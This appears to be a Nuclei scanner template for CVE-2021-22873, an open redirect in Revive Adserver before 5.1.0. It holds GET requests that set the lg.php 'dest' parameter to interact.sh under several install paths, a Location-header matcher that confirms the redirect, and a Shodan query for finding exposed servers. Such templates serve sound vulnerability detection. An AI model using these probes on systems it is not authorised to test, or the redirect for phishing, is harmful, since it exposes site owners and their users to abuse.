41 lines
1.5 KiB
YAML
41 lines
1.5 KiB
YAML
id: CVE-2021-22873
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info:
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name: Revive Adserver < 5.1.0 Open Redirect
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author: pudsec
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severity: medium
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description: Revive Adserver before 5.1.0 is vulnerable to open redirects via the dest, oadest, and ct0 parameters of the lg.php and ck.php delivery scripts.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2021-22873
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- https://hackerone.com/reports/1081406
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- https://github.com/revive-adserver/revive-adserver/issues/1068
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- http://seclists.org/fulldisclosure/2021/Jan/60
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-22873
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cwe-id: CWE-601
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metadata:
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shodan-query: http.favicon.hash:106844876
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verified: "true"
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tags: cve2021,redirect,revive,hackerone,seclists,cve
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/ads/www/delivery/lg.php?dest=http://interact.sh"
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- "{{BaseURL}}/adserve/www/delivery/lg.php?dest=http://interact.sh"
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- "{{BaseURL}}/adserver/www/delivery/lg.php?dest=http://interact.sh"
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- "{{BaseURL}}/openx/www/delivery/lg.php?dest=http://interact.sh"
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- "{{BaseURL}}/revive/www/delivery/lg.php?dest=http://interact.sh"
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- "{{BaseURL}}/www/delivery/lg.php?dest=http://interact.sh"
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stop-at-first-match: true
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host-redirects: true
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max-redirects: 2
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matchers:
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- type: regex
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part: header
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regex:
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- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
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